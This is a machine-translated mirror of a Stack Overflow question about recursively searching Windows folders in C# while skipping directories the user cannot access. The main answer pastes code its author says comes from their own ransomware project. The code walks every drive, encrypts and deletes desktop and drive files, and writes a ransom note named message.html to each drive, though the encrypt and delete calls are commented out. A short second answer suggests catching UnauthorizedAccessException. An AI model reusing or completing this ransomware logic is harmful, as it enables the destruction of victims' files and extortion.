![](/img/trans.png)
[英]Xamarin C# “we don't have access to open this file” When I Trying To Open A PDF
[英]Searching for all folders in c#, without dieing on one I don't have access too
我想在硬盤驅動器中搜索其中包含“StudentPortalNightly”的文件夾,但是當我得到時卻是一個例外,因為我無權訪問所有文件夾..
List<string> dirs = Directory.GetDirectories( @"C:\" , "StudentPortalNightly", SearchOption.AllDirectories).ToList();
有沒有辦法只搜索我有合法訪問權限的文件夾?
謝謝
埃里克-
我不確定這是否適合你,但我在我的 Github 項目中使用了它並且它有效。 對於某些用戶,由於文件權限錯誤,它不起作用,但它不會中斷執行並繼續進行。 這個 cdode 來自我曾經制作的勒索軟件項目。 我確定您需要編輯以下代碼的某些部分。
// So this is where a lot of magic is happening, and you dont wanna touch it unless spending
// a lot of time in getting it to work again. Since it "kinda works" (like 80%), im not gonna
// try to fix this as long as a handful of people request it. It was already a pain and im happy
// it works for now.
string[] file;
private void ShowAllFoldersUnder(string path, int indent, string mode = "decrypt")
{
try
{
if ((File.GetAttributes(path) & FileAttributes.ReparsePoint)
!= FileAttributes.ReparsePoint)
{
foreach (string folder in Directory.GetDirectories(path))
{
if (!folder.Contains("System Volume Information"))
{
try
{
file = Directory.GetFiles(Path.GetFullPath(folder));
}
catch (Exception ex) { write(ex.Message); }
// This should check the file extension.
foreach (string s in file)
{
// Do whatever u want
}
}
ShowAllFoldersUnder(folder, indent + 2);
}
}
}
catch (Exception e) { write(e.Message); Log(e.Message, "ShowAllFolderUnder > General Error"); }
}
// This will get all the files and and tries to encrypt it. It works together with "ShowAllFoldersUnder()"
// to get as many files as possible.
public void GetFiles(string mode = "encrypt")
{
try
{
// Encrypt Desktop Files first!
string[] desktopFiles = Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "*.*", SearchOption.AllDirectories);
foreach(string s in desktopFiles)
{
try
{
if (!s.Contains(Properties.Settings.Default.extension) && !s.Contains("Sytem Volume Information") && mode != "decrypt")
{
// FUSE
//Task.Run(() => Crypto.FileEncrypt(s, Properties.Settings.Default.key));
write("Encrypted " + s);
try
{
// FUSE
//File.Delete(s);
}
catch (Exception ex2)
{
write("Cant delete file " + ex2.Message);
Log(ex2.Message, "GetFiles > File Delete Error");
}
}
else if(mode == "decrypt")
{
if(s.Contains(Properties.Settings.Default.extension) && !s.Contains("System Volume Information"))
{
Task.Run(() => Crypto.FileDecrypt(s, s.Replace(Properties.Settings.Default.extension, ""), Properties.Settings.Default.key));
write("Decrypted " + s);
try
{
// Delete original encrypted file?
//File.Delete(s);
}
catch (Exception ex2)
{
write("Cant delete file " + ex2.Message);
Log(ex2.Message, "GetFiles > File Delete Error");
}
}
}
}
catch (Exception ex)
{
Log(ex.Message, "Getfiles > General Error");
}
}
// Now Encrypt whole hard drive
foreach (var drive in DriveInfo.GetDrives())
{
// This will try to create message in eighter plain text file or html file.
try
{
if(Properties.Settings.Default.message.Length > 0)
{
File.WriteAllText(drive.Name + "\\message.html", Properties.Settings.Default.message);
File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\\message.html", Properties.Settings.Default.message);
write("Created File message.html on drive " + drive.Name + "\\message");
Log("File 'message.html' created on drive " + drive.Name + "\\message.html", "GetFiles > Check Message Settings");
}
}
catch (Exception ex)
{
Log(ex.Message, "GetFiles > Create Message File");
write(ex.Message);
}
try
{
write("Found drive " + drive.Name);
Log("Found drive " + drive.Name, "GetFiles > Drive State Check");
try
{
// if the drive is ready try to get all the files and files in subfolders using ShowAllFoldersUnder()
if (drive.IsReady)
{
// Get all sub folders etc
ShowAllFoldersUnder(drive.Name, 0);
}
else
{
Log("Found drive " + drive.Name + " , but it's not ready.", "GetFiles > Drive State Check");
write("Found drive " + drive.Name + " , but it's not ready.");
}
}
catch { }
}
catch (Exception ex1)
{
write("ex1 " + ex1.Message);
Log(ex1.Message, "GetFiles > Drive Error");
}
}
}
catch(Exception ex)
{
Log(ex.Message, "GetFiles > General Drive Error");
}
write("Done getting stuff :)");
}
List<string> dirs = new List<string>(Directory.GetFiles(@"C:\").ToList());
只要捕獲正確的異常,try-catch就可以工作。 在這種情況下,您需要捕獲System.UnauthorizedAccessException
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.